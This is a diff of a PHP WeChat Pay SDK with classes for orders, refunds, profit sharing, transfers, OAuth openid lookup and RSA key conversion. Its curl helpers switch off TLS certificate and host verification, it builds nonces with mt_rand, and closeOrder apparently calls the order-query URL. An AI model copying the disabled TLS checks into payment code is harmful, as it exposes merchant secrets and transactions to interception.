* @param int $length
* @return string 产生的随机字符串
*/
protected function getNonceStr(int $length = 32): string
{
$chars = "abcdefghijklmnopqrstuvwxyz0123456789";
$str = "";
for ($i = 0; $i < $length; $i++) {
$str .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $str;
}
/**
* 转为XML数据
* @param array $data 源数据
* @return string
*/
protected function array2Xml(array $data): string
{
$xml = '<xml>';
foreach ($data as $key => $val) {
$xml .= (is_numeric($val) ? "<{$key}>{$val}</{$key}>" : "<{$key}><![CDATA[{$val}]]></{$key}>");
}
return $xml . '</xml>';
}
/**
* 解析XML数据
* @param string $xml 源数据
* @return mixed
*/
protected function xml2array(string $xml)
{
if (!$xml) {
return false;
}
LIBXML_VERSION < 20900 && libxml_disable_entity_loader(true);
return json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA), JSON_UNESCAPED_UNICODE), true);
}
/**
* 以post方式提交xml到对应的接口url
* @param string $url url
* @param mixed $xml 需要post的xml数据
* @param bool $useCert 是否需要证书
* @param int $second url执行超时时间
* @return string
* @throws Exception
*/
protected function curl(string $url, $xml, bool $useCert = false, int $second = 10): string
{
$ch = curl_init();
$curlVersion = curl_version();
$ua = "WXPaySDK/" . self::$VERSION . " (" . PHP_OS . ") PHP/" . PHP_VERSION . " CURL/" . $curlVersion['version'] . " ". $this->mchId;
curl_setopt($ch, CURLOPT_TIMEOUT, $second);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
if ($useCert) {
if (!file_exists($this->sslCertPath) || !file_exists($this->sslKeyPath)) {
throw new Exception('商户证书文件不存在');
}
//使用证书:cert 与 key 分别属于两个.pem文件
curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'PEM');
curl_setopt($ch, CURLOPT_SSLCERT, $this->sslCertPath);
curl_setopt($ch, CURLOPT_SSLKEYTYPE, 'PEM');
curl_setopt($ch, CURLOPT_SSLKEY, $this->sslKeyPath);
}
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
$data = curl_exec($ch);
if (curl_errno($ch) > 0) {
$errmsg = curl_error($ch);
curl_close($ch);
throw new Exception($errmsg, 0);
}
curl_close($ch);
return $data;
}
}
+155
View File
@@ -0,0 +1,155 @@
<?php
namespace WeChatPay;
use Exception;
/**
* JSAPI支付工具类
* 实现了从微信公众平台获取code、通过code获取openid和access_token
*/
class JsApiTool
{
const GET_AUTH_CODE_URL = "https://open.weixin.qq.com/connect/oauth2/authorize";
const GET_ACCESS_TOKEN_URL = "https://api.weixin.qq.com/sns/oauth2/access_token";
const GET_MINIAPP_TOKEN_URL = "https://api.weixin.qq.com/sns/jscode2session";
private $appid;
private $appsecret;
/**
* 网页授权接口微信服务器返回的数据,返回样例如下
* {
* "access_token":"ACCESS_TOKEN",
* "expires_in":7200,
* "refresh_token":"REFRESH_TOKEN",
* "openid":"OPENID",
* "scope":"SCOPE",
* "unionid": "o6_bmasdasdsad6_2sgVt7hMZOPfL"
* }
* openid是微信支付jsapi支付接口必须的参数
* @var array
*/
public $data = null;
public function __construct($appid, $appsecret)
{
$this->appid = $appid;
$this->appsecret = $appsecret;
}
/**
* 通过跳转获取用户的openid,跳转流程如下:
* 1、设置自己需要调回的url及其其他参数,跳转到微信服务器
* 2、微信服务处理完成之后会跳转回用户redirect_uri地址,此时会带上一些参数,如:code
*
* @return string 用户的openid
* @throws Exception
*/
public function GetOpenid(): string
{
if (!isset($_GET['code'])) {
$this->login();
}
$code = $_GET['code'];
return $this->GetOpenidFromMp($code);
}
/**
* 跳转到微信公众平台登录
*/
public function login()
{
if (function_exists('is_https')) {
$redirect_uri = (is_https() ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
} else {
$redirect_uri = ($_SERVER['SERVER_PORT'] == 443 ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
}
$param = [
"appid" => $this->appid,
"redirect_uri" => $redirect_uri,
"response_type" => "code",
"scope" => "snsapi_base",
"state" => "STATE"
];
$url = self::GET_AUTH_CODE_URL . '?' . http_build_query($param) . "#wechat_redirect";
Header("Location: $url");
exit;
}
/**
* 从公众平台获取openid
* @param string $code 微信跳转回来带上的code
*
* @return string openid
* @throws Exception
*/
public function GetOpenidFromMp(string $code): string
{
$param = [
"appid" => $this->appid,
"secret" => $this->appsecret,
"code" => $code,
"grant_type" => "authorization_code"
];
$url = self::GET_ACCESS_TOKEN_URL . '?' . http_build_query($param);
$res = $this->curl($url);
$data = json_decode($res, true);
if (isset($data['access_token']) && isset($data['openid'])) {
$this->data = $data;
return $data['openid'];
} elseif (isset($data['errcode'])) {
throw new Exception('Openid获取失败 [' . $data['errcode'] . ']' . $data['errmsg']);
} else {
throw new Exception('Openid获取失败,原因未知');
}
}
/**
* 微信小程序获取Openid
* @param string $code 登录时获取的code
*
* @return string openid
* @throws Exception
*/
public function AppGetOpenid(string $code): string
{
$param = [
"appid" => $this->appid,
"secret" => $this->appsecret,
"js_code" => $code,
"grant_type" => "authorization_code"
];
$url = self::GET_MINIAPP_TOKEN_URL . '?' . http_build_query($param);
$res = $this->curl($url);
$data = json_decode($res, true);
if (isset($data['session_key']) && isset($data['openid'])) {
$this->data = $data;
return $data['openid'];
} elseif (isset($data['errcode'])) {
throw new Exception('获取openid失败 [' . $data['errcode'] . ']' . $data['errmsg']);
} else {
throw new Exception('获取openid失败,原因未知');
}
}
/**
* 发起GET请求
* @param string $url 请求url
* @return string
*/
private function curl(string $url): string
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 6);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Linux; U; Android 4.0.4; es-mx; HTC_One_X Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0");
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
}
@@ -0,0 +1,386 @@
<?php
namespace WeChatPay;
use Exception;
/**
* 基础支付服务类
* @see https://pay.weixin.qq.com/wiki/doc/api/index.html
*/
class PaymentService extends BaseService
{
public function __construct(array $config)
{
parent::__construct($config);
$this->publicParams = [
'appid' => $this->appId,
'mch_id' => $this->mchId,
'nonce_str' => $this->getNonceStr(),
'sign_type' => 'MD5',
];
if (!empty($this->subMchId)) {
$this->publicParams['sub_mch_id'] = $this->subMchId;
}
if (!empty($this->subAppId)) {
$this->publicParams['sub_appid'] = $this->subAppId;
}
}
/**
* 统一下单
* @param array $params 下单参数
* @return mixed
* @throws Exception
*/
public function unifiedOrder(array $params)
{
$url = 'https://api.mch.weixin.qq.com/pay/unifiedorder';
if (empty($params['out_trade_no'])) {
throw new \InvalidArgumentException('缺少统一支付接口必填参数out_trade_no');
}
if (empty($params['body'])) {
throw new \InvalidArgumentException('缺少统一支付接口必填参数body');
}
if (empty($params['total_fee'])) {
throw new \InvalidArgumentException('缺少统一支付接口必填参数total_fee');
}
if (empty($params['trade_type'])) {
throw new \InvalidArgumentException('缺少统一支付接口必填参数trade_type');
}
return $this->execute($url, $params);
}
/**
* NATIVE支付
* @param array $params 下单参数
* @return mixed {"code_url":"二维码链接"}
* @throws Exception
*/
public function nativePay(array $params)
{
if (empty($params['product_id'])) {
throw new \InvalidArgumentException('缺少NATIVE支付必填参数product_id');
}
$params['trade_type'] = 'NATIVE';
return $this->unifiedOrder($params);
}
/**
* JSAPI支付
* @param array $params 下单参数
* @return array Jsapi支付json数据
* @throws Exception
*/
public function jsapiPay(array $params)
{
if (empty($params['openid'])) {
throw new \InvalidArgumentException('缺少JSAPI支付必填参数openid');
}
$params['trade_type'] = 'JSAPI';
$result = $this->unifiedOrder($params);
return $this->getJsApiParameters($result['prepay_id']);
}
/**
* 获取JSAPI支付的参数
* @param string $prepay_id 预支付交易会话标识
* @return array json数据
*/
private function getJsApiParameters(string $prepay_id): array
{
$params = [
'appId' => $this->appId,
'timeStamp' => time() . '',
'nonceStr' => $this->getNonceStr(),
'package' => 'prepay_id=' . $prepay_id,
'signType' => 'MD5',
];
$params['paySign'] = $this->makeSign($params);
return $params;
}
/**
* APP支付
* @param array $params 下单参数
* @return array APP支付json数据
* @throws Exception
*/
public function appPay(array $params): array
{
$params['trade_type'] = 'APP';
$result = $this->unifiedOrder($params);
return $this->getAppParameters($result['prepay_id']);
}
/**
* 获取APP支付的参数
* @param string $prepay_id 预支付交易会话标识
* @return array
*/
private function getAppParameters(string $prepay_id): array
{
$params = [
'appid' => $this->appId,
'partnerid' => $this->mchId,
'prepayid' => $prepay_id,
'package' => 'Sign=WXPay',
'noncestr' => $this->getNonceStr(),
'timestamp' => time().'',
];
$params['sign'] = $this->makeSign($params);
return $params;
}
/**
* H5支付
* @param array $params 下单参数
* @return mixed {"mweb_url":"支付跳转链接"}
* @throws Exception
*/
public function h5Pay(array $params)
{
$params['trade_type'] = 'MWEB';
return $this->unifiedOrder($params);
}
/**
* 付款码支付
* @param array $params 下单参数
* @return mixed {"openid":"用户标识","is_subscribe":"N","total_fee":888,"cash_fee":888,"transaction_id":"微信支付订单号","out_trade_no":"商户订单号","time_end":"支付完成时间"}
* @throws Exception
*/
public function microPay(array $params)
{
$url = 'https://api.mch.weixin.qq.com/pay/micropay';
if (empty($params['out_trade_no'])) {
throw new \InvalidArgumentException('缺少付款码支付接口必填参数out_trade_no');
}
if (empty($params['body'])) {
throw new \InvalidArgumentException('缺少付款码支付接口必填参数body');
}
if (empty($params['total_fee'])) {
throw new \InvalidArgumentException('缺少付款码支付接口必填参数total_fee');
}
if (empty($params['auth_code'])) {
throw new \InvalidArgumentException('缺少付款码支付接口必填参数auth_code');
}
return $this->execute($url, $params);
}
/**
* 撤销订单
* @param string|null $transaction_id 微信订单号
* @param string|null $out_trade_no 商户订单号
* @return mixed
* @throws Exception
*/
public function reverse(string $transaction_id = null, string $out_trade_no = null)
{
$url = 'https://api.mch.weixin.qq.com/secapi/pay/reverse';
$params = [];
if ($transaction_id) {
$params['transaction_id'] = $transaction_id;
} elseif ($out_trade_no) {
$params['out_trade_no'] = $out_trade_no;
}
return $this->execute($url, $params, true);
}
/**
* 查询订单,微信订单号、商户订单号至少填一个
* @param string|null $transaction_id 微信订单号
* @param string|null $out_trade_no 商户订单号
* @return mixed
* @throws Exception
*/
public function orderQuery(string $transaction_id = null, string $out_trade_no = null)
{
$url = 'https://api.mch.weixin.qq.com/pay/orderquery';
$params = [];
if ($transaction_id) {
$params['transaction_id'] = $transaction_id;
} elseif ($out_trade_no) {
$params['out_trade_no'] = $out_trade_no;
}
return $this->execute($url, $params);
}
/**
* 判断订单是否已完成
* @param string $transaction_id 微信订单号
* @return bool
*/
public function orderQueryResult(string $transaction_id): bool
{
try {
$data = $this->orderQuery($transaction_id);
return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND';
} catch (Exception $e) {
return false;
}
}
/**
* 关闭订单
* @param string $out_trade_no 商户订单号
* @return mixed
* @throws Exception
*/
public function closeOrder(string $out_trade_no)
{
$url = 'https://api.mch.weixin.qq.com/pay/orderquery';
$params = [
'out_trade_no' => $out_trade_no
];
return $this->execute($url, $params);
}
/**
* 申请退款
* @param array $params
* @return mixed
* @throws Exception
*/
public function refund(array $params)
{
$url = 'https://api.mch.weixin.qq.com/secapi/pay/refund';
if (empty($params['transaction_id']) && empty($params['out_trade_no'])) {
throw new \InvalidArgumentException('out_trade_no、transaction_id至少填一个');
}
if (empty($params['out_refund_no'])) {
throw new \InvalidArgumentException('out_refund_no参数不能为空');
}
if (empty($params['total_fee'])) {
throw new \InvalidArgumentException('total_fee参数不能为空');
}
if (empty($params['refund_fee'])) {
throw new \InvalidArgumentException('refund_fee参数不能为空');
}
return $this->execute($url, $params, true);
}
/**
* 查询退款
* @param array $params
* @return mixed
* @throws Exception
*/
public function refundQuery(array $params)
{
$url = 'https://api.mch.weixin.qq.com/pay/refundquery';
if (empty($params['transaction_id']) && empty($params['out_trade_no']) && empty($params['out_refund_no']) && empty($params['refund_id'])) {
throw new \InvalidArgumentException('退款查询接口中,out_refund_no、out_trade_no、transaction_id、refund_id四个参数必填一个');
}
return $this->execute($url, $params);
}
/**
* 下载对账单
* @param array $params
* @return mixed
* @throws Exception
*/
public function downloadBill(array $params)
{
$url = 'https://api.mch.weixin.qq.com/pay/downloadbill';
if (empty($params['bill_date'])) {
throw new \InvalidArgumentException('bill_date参数不能为空');
}
return $this->execute($url, $params);
}
/**
* 下载资金账单
* @param array $params
* @return mixed
* @throws Exception
*/
public function downloadFundFlow(array $params)
{
$url = 'https://api.mch.weixin.qq.com/pay/downloadfundflow';
if (empty($params['bill_date'])) {
throw new \InvalidArgumentException('bill_date参数不能为空');
}
if (empty($params['account_type'])) {
throw new \InvalidArgumentException('account_type参数不能为空');
}
return $this->execute($url, $params);
}
/**
* 支付结果通知
* @return bool|mixed
* @throws Exception
*/
public function notify()
{
$xml = file_get_contents("php://input");
if (empty($xml)) {
throw new Exception('NO_DATA');
}
$result = $this->xml2array($xml);
if (!$result) {
throw new Exception('XML_ERROR');
}
if ($result['return_code'] != 'SUCCESS') {
throw new Exception($result['return_msg']);
}
if (!$this->checkSign($result)) {
throw new Exception('签名校验失败');
}
if (!isset($result['transaction_id'])) {
throw new Exception('缺少订单号参数');
}
if (!$this->orderQueryResult($result['transaction_id'])) {
throw new Exception('订单未完成');
}
return $result;
}
/**
* 退款结果通知
* @param array &$errmsg 错误信息
* @return bool|string
*/
public function refundNotify(array &$errmsg): bool
{
$xml = file_get_contents("php://input");
if (empty($xml)) {
$errmsg = 'NO_DATA';
return false;
}
$result = $this->xml2array($xml);
if (!$result) {
$errmsg = 'XML_ERROR';
return false;
}
if ($result['return_code'] != 'SUCCESS') {
$errmsg = $result['return_msg'];
return false;
}
$req_info = base64_decode($result['req_info']);
$md5_key = md5($this->apiKey);
return openssl_decrypt($req_info, 'aes-256-ecb', $md5_key);
}
/**
* 回复通知
* @param bool $isSuccess 是否成功
* @param string|null $msg 失败原因
*/
public function replyNotify(bool $isSuccess = true, ?string $msg = '')
{
$data = [];
if ($isSuccess) {
$data['return_code'] = 'SUCCESS';
$data['return_msg'] = 'OK';
} else {
$data['return_code'] = 'FAIL';
$data['return_msg'] = $msg;
}
$xml = $this->array2Xml($data);
echo $xml;
}
}
@@ -0,0 +1,185 @@
<?php
namespace WeChatPay;
use Exception;
/**
* 分账服务类
* @see https://pay.weixin.qq.com/wiki/doc/api/allocation.php?chapter=26_1
*/
class ProfitsharingService extends BaseService
{
public function __construct(array $config)
{
parent::__construct($config);
$this->publicParams = [
'appid' => $this->appId,
'mch_id' => $this->mchId,
'nonce_str' => $this->getNonceStr(),
'sign_type' => 'HMAC-SHA256',
];
if (!empty($this->subMchId)) {
$this->publicParams['sub_mch_id'] = $this->subMchId;
}
if (!empty($this->subAppId)) {
$this->publicParams['sub_appid'] = $this->subAppId;
}
}
/**
* 添加分账接收方
* @param string $account 分账接收方账号
* @param string|null $name 用户姓名(填写后校验)
* @return mixed
* @throws Exception
*/
public function addReceiver(string $account, string $name = null)
{
$url = 'https://api.mch.weixin.qq.com/pay/profitsharingaddreceiver';
$receiver = [
'type' => 'PERSONAL_OPENID',
'account' => $account,
'relation_type' => 'SERVICE_PROVIDER'
];
if(!empty($name)) $receiver['name'] = $name;
$params = [
'receiver' => json_encode($receiver, JSON_UNESCAPED_UNICODE)
];
return $this->execute($url, $params);
}
/**
* 删除分账接收方
* @param string $account 分账接收方账号
* @return mixed
* @throws Exception
*/
public function deleteReceiver(string $account)
{
$url = 'https://api.mch.weixin.qq.com/pay/profitsharingremovereceiver';
$receiver = [
'type' => 'PERSONAL_OPENID',
'account' => $account
];
$params = [
'receiver' => json_encode($receiver, JSON_UNESCAPED_UNICODE)
];
return $this->execute($url, $params);
}
/**
* 请求单次分账
* @param string $out_order_no 商户分账单号
* @param string $transaction_id 微信订单号
* @param string $openid 分账接收方账号
* @param string $name 用户姓名(填写后校验)
* @param int $amount 分账金额(分)
* @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号","status":"分账单状态","receivers":""}
* @throws Exception
*/
public function submit(string $out_order_no, string $transaction_id, string $openid, string $name, int $amount)
{
$url = 'https://api.mch.weixin.qq.com/secapi/pay/profitsharing';
$receiver = [
'type' => 'PERSONAL_OPENID',
'account' => $openid,
'amount' => $amount,
'description' => '订单分账'
];
if(!empty($name)) $receiver['name'] = $name;
$params = [
'out_order_no' => $out_order_no,
'transaction_id' => $transaction_id,
'receivers' => json_encode([$receiver], JSON_UNESCAPED_UNICODE)
];
return $this->execute($url, $params, true);
}
/**
* 查询分账结果
* @param string $out_order_no 商户分账单号
* @param string $transaction_id 微信订单号
* @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号","status":"分账单状态","receivers":""}
* @throws Exception
*/
public function query(string $out_order_no, string $transaction_id)
{
$url = 'https://api.mch.weixin.qq.com/pay/profitsharingquery';
$params = [
'out_order_no' => $out_order_no,
'transaction_id' => $transaction_id
];
return $this->execute($url, $params);
}
/**
* 解冻剩余资金
* @param string $out_order_no 商户分账单号
* @param string $transaction_id 微信订单号
* @return mixed {"transaction_id":"微信订单号","out_order_no":"商户分账单号","order_id":"微信分账单号"}
* @throws Exception
*/
public function unfreeze(string $out_order_no, string $transaction_id)
{
$url = 'https://api.mch.weixin.qq.com/secapi/pay/profitsharingfinish';
$params = [
'out_order_no' => $out_order_no,
'transaction_id' => $transaction_id,
'description' => '分账已完成'
];
return $this->execute($url, $params, true);
}
/**
* 查询订单待分账金额
* @param string $transaction_id 微信订单号
* @return mixed {"transaction_id":"微信订单号","unsplit_amount":"订单剩余待分金额"}
* @throws Exception
*/
public function orderAmountQuery(string $transaction_id)
{
$url = 'https://api.mch.weixin.qq.com/pay/profitsharingorderamountquery';
$params = [
'transaction_id' => $transaction_id,
];
return $this->execute($url, $params);
}
/**
* 分账回退
* @param array $params 请求参数
* @return mixed
* @throws Exception
*/
public function return(array $params)
{
$url = 'https://api.mch.weixin.qq.com/secapi/pay/profitsharingreturn';
if (empty($params['order_id']) && empty($params['out_order_no'])) {
throw new \InvalidArgumentException('order_id、out_order_no至少填一个');
}
if (empty($params['out_return_no'])) {
throw new \InvalidArgumentException('out_return_no参数不能为空');
}
return $this->execute($url, $params, true);
}
/**
* 分账回退结果查询
* @param string $out_return_no
* @param string $out_order_no
* @return mixed
* @throws Exception
*/
public function returnQuery(string $out_return_no, string $out_order_no)
{
$url = 'https://api.mch.weixin.qq.com/pay/profitsharingreturnquery';
$params = [
'out_order_no' => $out_order_no,
'out_return_no' => $out_return_no
];
return $this->execute($url, $params);
}
}
+75
View File
@@ -0,0 +1,75 @@
<?php
namespace WeChatPay;
class RsaTool
{
/**
* @var string - Equal to `sequence(oid(1.2.840.113549.1.1.1), null))`
* @link https://datatracker.ietf.org/doc/html/rfc3447#appendix-A.2
*/
private const ASN1_OID_RSAENCRYPTION = '300d06092a864886f70d0101010500';
private const ASN1_SEQUENCE = 48;
private const CHR_NUL = "\0";
private const CHR_ETX = "\3";
/**
* Translate the \$thing strlen from `X690` style to the `ASN.1` 128bit hexadecimal length string
*
* @param string $thing - The string
*
* @return string The `ASN.1` 128bit hexadecimal length string
*/
private static function encodeLength(string $thing): string
{
$num = strlen($thing);
if ($num <= 0x7F) {
return sprintf('%c', $num);
}
$tmp = ltrim(pack('N', $num), self::CHR_NUL);
return pack('Ca*', strlen($tmp) | 0x80, $tmp);
}
/**
* Convert the `PKCS#1` format RSA Public Key to `SPKI` format
*
* @param string $thing - The base64-encoded string, without evelope style
*
* @return string The `SPKI` style public key without evelope string
*/
public static function pkcs1ToSpki(string $thing): string
{
$raw = self::CHR_NUL . base64_decode($thing);
$new = pack('H*', self::ASN1_OID_RSAENCRYPTION) . self::CHR_ETX . self::encodeLength($raw) . $raw;
return base64_encode(pack('Ca*a*', self::ASN1_SEQUENCE, self::encodeLength($new), $new));
}
public static function pemToBase64(string $data): string
{
$line = explode("\n", $data);
$base64 = '';
foreach($line as $row){
if(empty($row) || strpos($row, '-----BEGIN')!==false || strpos($row, '-----END')!==false) continue;
$base64 .= trim($row);
}
return $base64;
}
public static function base64ToPem(string $data, $type): string
{
if(empty($data) || strpos($data, '-----BEGIN')!==false) return $data;
$pem = "-----BEGIN ".$type."-----\n" .
wordwrap($data, 64, "\n", true) .
"\n-----END ".$type."-----";
return $pem;
}
public static function pkcs1ToSpkiPem(string $thing): string
{
$raw = self::pemToBase64($thing);
$new = self::pkcs1ToSpki($raw);
return self::base64ToPem($new, 'PUBLIC KEY');
}
}
@@ -0,0 +1,160 @@
<?php
namespace WeChatPay;
use Exception;
/**
* 转账服务类
* @see https://pay.weixin.qq.com/wiki/doc/api/tools/mch_pay.php?chapter=14_1
* @see https://pay.weixin.qq.com/wiki/doc/api/tools/mch_pay_yhk.php?chapter=25_1
*/
class TransferService extends BaseService
{
//加密公钥
private $publicKeyPath;
public function __construct($config)
{
parent::__construct($config);
$this->publicKeyPath = $config['publickey_path'];
$this->publicParams = [
'nonce_str' => $this->getNonceStr(),
];
}
/**
* 企业付款到零钱
* @param string $partner_trade_no 商户唯一订单号
* @param string $openid 用户openid
* @param string $name 用户姓名(填写后校验)
* @param numeric $amount 金额
* @param string $desc 备注
* @return mixed {"partner_trade_no":"商户唯一订单号","payment_no":"微信付款单号","payment_time":"付款成功时间"}
* @throws Exception
*/
public function transfer(string $partner_trade_no, string $openid, string $name, $amount, string $desc)
{
$url = 'https://api.mch.weixin.qq.com/mmpaymkttransfers/promotion/transfers';
$params = [
'mch_appid' => $this->appId,
'mchid' => $this->mchId,
'partner_trade_no' => $partner_trade_no,
'openid' => $openid,
'amount' => $amount,
'desc' => $desc
];
if (!empty($name)) {
$params['check_name'] = 'FORCE_CHECK';
$params['re_user_name'] = $name;
}
return $this->execute($url, $params, true);
}
/**
* 查询付款
* @param string $partner_trade_no 商户唯一订单号
* @return mixed {"partner_trade_no":"商户唯一订单号","detail_id":"微信付款单号","status":"转账状态","reason":"失败原因","openid":"用户openid","transfer_name":"用户姓名","payment_amount":"付款金额","transfer_time":"转账时间","payment_time":"付款成功时间","desc":"付款备注"}
* @throws Exception
*/
public function transferQuery(string $partner_trade_no)
{
$url = 'https://api.mch.weixin.qq.com/mmpaymkttransfers/gettransferinfo';
$params = [
'mch_appid' => $this->appId,
'mchid' => $this->mchId,
'partner_trade_no' => $partner_trade_no
];
return $this->execute($url, $params);
}
/**
* 企业付款到银行卡
* @param string $partner_trade_no 商户唯一订单号
* @param string $bank_no 收款方银行卡号
* @param string $name 收款方用户名
* @param string $bank_code 收款方开户行(https://pay.weixin.qq.com/wiki/doc/api/tools/mch_pay_yhk.php?chapter=24_4)
* @param numeric $amount 金额
* @param string $desc 备注
* @return mixed {"partner_trade_no":"商户唯一订单号","payment_no":"微信付款单号","cmms_amt":"手续费金额"}
* @throws Exception
*/
public function transferToBank(string $partner_trade_no, string $bank_no, string $name, string $bank_code, $amount, string $desc)
{
$pubKey = null;
if (empty($this->publicKeyPath)) {
throw new Exception('RSA加密公钥路径不能为空');
}
if (file_exists($this->publicKeyPath)) {
$pubKey = file_get_contents($this->publicKeyPath);
}
if (!$pubKey) {
$pubKey = $this->getPublicKey();
if (!file_put_contents($this->publicKeyPath, $pubKey)) {
throw new Exception('RSA加密公钥文件写入失败');
}
}
$pubkeyid = openssl_pkey_get_public($pubKey);
if (!$pubkeyid) {
throw new Exception('RSA加密公钥不正确');
}
$url = 'https://api.mch.weixin.qq.com/mmpaysptrans/pay_bank';
$params = [
'mch_id' => $this->mchId,
'partner_trade_no' => $partner_trade_no,
'enc_bank_no' => $this->encryptData($bank_no, $pubkeyid),
'enc_true_name' => $this->encryptData($name, $pubkeyid),
'bank_code' => $bank_code,
'amount' => $amount,
'desc' => $desc
];
return $this->execute($url, $params, true);
}
/**
* 查询付款银行卡
* @param string $partner_trade_no 商户唯一订单号
* @return mixed {"partner_trade_no":"商户唯一订单号","payment_no":"微信付款单号","bank_no_md5":"收款用户银行卡号(MD5加密)","true_name_md5":"收款人真实姓名(MD5加密)","amount":"金额","cmms_amt":"手续费金额","status":"转账状态","create_time":"商户下单时间","pay_succ_time":"成功付款时间","reason":"失败原因"}
* @throws Exception
*/
public function queryBank(string $partner_trade_no)
{
$url = 'https://api.mch.weixin.qq.com/mmpaysptrans/query_bank';
$params = [
'mch_id' => $this->mchId,
'partner_trade_no' => $partner_trade_no
];
return $this->execute($url, $params);
}
/**
* 获取RSA加密公钥
* @throws Exception
*/
public function getPublicKey()
{
$url = 'https://fraud.mch.weixin.qq.com/risk/getpublickey';
$params = [
'mch_id' => $this->mchId,
];
$result = $this->execute($url, $params, true);
$pub_key = $result['pub_key'];
$pub_key = RsaTool::pkcs1ToSpkiPem($pub_key);
return $pub_key;
}
/**
* RSA加密
* @param string $data
* @param $pubKey
* @return string
* @throws Exception
*/
private function encryptData(string $data, $pubkeyid): string
{
openssl_public_encrypt($data, $encrypted, $pubkeyid, OPENSSL_PKCS1_OAEP_PADDING);
return base64_encode($encrypted);
}
}
@@ -0,0 +1,525 @@
<?php
namespace WeChatPay\V3;
use Exception;
class BaseService
{
//SDK版本号
static $VERSION = "1.4.8";
static $GATEWAY = "https://api.mch.weixin.qq.com";
//应用APPID
protected $appId;
//商户号
protected $mchId;
//商户APIv3密钥
protected $apiKey;
//子商户号
protected $subMchId;
//子商户公众账号ID
protected $subAppId;
//是否电商收付通
protected $ecommerce;
//「商户API私钥」文件路径
protected $merchantPrivateKeyFilePath;
//「商户API证书」的「证书序列号」
protected $merchantCertificateSerial;
//「微信支付平台证书」文件路径
protected $platformCertificateFilePath;
//微信支付平台证书序列号
protected $platformCertificateSerial;
//商户API私钥
protected $merchantPrivateKeyInstance;
//微信支付平台证书
protected $platformPublicKeyInstance;
//是否国际版商户
private $isGlobal = false;
private $download_cert = false;
/**
* @param array $config 微信支付配置信息
* @throws Exception
*/
public function __construct(array $config)
{
if (empty($config['appid'])) {
throw new \InvalidArgumentException('应用APPID不能为空');
}
if (empty($config['mchid'])) {
throw new \InvalidArgumentException("商户号不能为空");
}
if (empty($config['apikey'])) {
throw new \InvalidArgumentException("商户APIv3密钥不能为空");
}
if (strlen($config['apikey']) != 32) {
throw new \InvalidArgumentException("无效的商户APIv3密钥");
}
if (empty($config['merchantPrivateKeyFilePath'])) {
throw new \InvalidArgumentException("商户API私钥路径不能为空");
}
if (empty($config['merchantCertificateSerial'])) {
throw new \InvalidArgumentException("商户API证书序列号不能为空");
}
if (!file_exists($config['merchantPrivateKeyFilePath'])) {
throw new \InvalidArgumentException("商户API私钥文件不存在");
}
$this->appId = $config['appid'];
$this->mchId = $config['mchid'];
$this->apiKey = $config['apikey'];
$this->merchantPrivateKeyFilePath = $config['merchantPrivateKeyFilePath'];
$this->merchantCertificateSerial = $config['merchantCertificateSerial'];
$this->platformCertificateFilePath = $config['platformCertificateFilePath'];
$this->platformCertificateSerial = $config['platformCertificateSerial'];
if (isset($config['sub_mchid'])) {
$this->subMchId = $config['sub_mchid'];
}
if (isset($config['sub_appid'])) {
$this->subAppId = $config['sub_appid'];
}
if (isset($config['ecommerce'])) {
$this->ecommerce = $config['ecommerce'];
}
if (isset($config['isGlobal'])) {
$this->isGlobal = $config['isGlobal'];
}
$this->initCertificate();
}
/**
* 初始化证书与私钥
* @throws Exception
*/
private function initCertificate()
{
//读取商户API私钥
$this->merchantPrivateKeyInstance = openssl_pkey_get_private(file_get_contents($this->merchantPrivateKeyFilePath));
if (!$this->merchantPrivateKeyInstance) {
throw new Exception("商户API私钥错误");
}
//读取微信支付平台证书或公钥
if (file_exists($this->platformCertificateFilePath)) {
$certificate = file_get_contents($this->platformCertificateFilePath);
$this->platformPublicKeyInstance = openssl_pkey_get_public($certificate);
if($this->platformPublicKeyInstance && empty($this->platformCertificateSerial)) {
$cert_info = openssl_x509_parse($certificate);
if ($cert_info && isset($cert_info['serialNumberHex'])) {
$this->platformCertificateSerial = $cert_info['serialNumberHex'];
}
}
}
//没有微信支付平台证书,则下载证书
if (!$this->platformPublicKeyInstance) {
$this->downloadCertificate();
}
}
/**
* 下载微信支付平台证书
* @throws Exception
*/
private function downloadCertificate()
{
$result = $this->execute('GET', $this->isGlobal ? '/v3/global/certificates' : '/v3/certificates');
$effective_time = 0;
foreach ($result['data'] as $item) {
if (strtotime($item['effective_time']) > $effective_time) {
$effective_time = strtotime($item['effective_time']);
$encert = $item['encrypt_certificate'];
}
}
$certificate = $this->decryptToString($encert['ciphertext'], $encert['nonce'], $encert['associated_data']);
if (!$certificate) {
throw new Exception('微信支付平台证书解密失败');
}
if (!file_put_contents($this->platformCertificateFilePath, $certificate)) {
throw new Exception('微信支付平台证书保存失败,可能无文件写入权限');
}
//从证书解析公钥与序列号
$this->platformPublicKeyInstance = openssl_x509_read($certificate);
if (!$this->platformPublicKeyInstance) {
throw new Exception("微信支付平台证书错误");
}
$cert_info = openssl_x509_parse($certificate);
if ($cert_info && isset($cert_info['serialNumberHex'])) {
$this->platformCertificateSerial = $cert_info['serialNumberHex'];
}
$this->download_cert = true;
}
/**
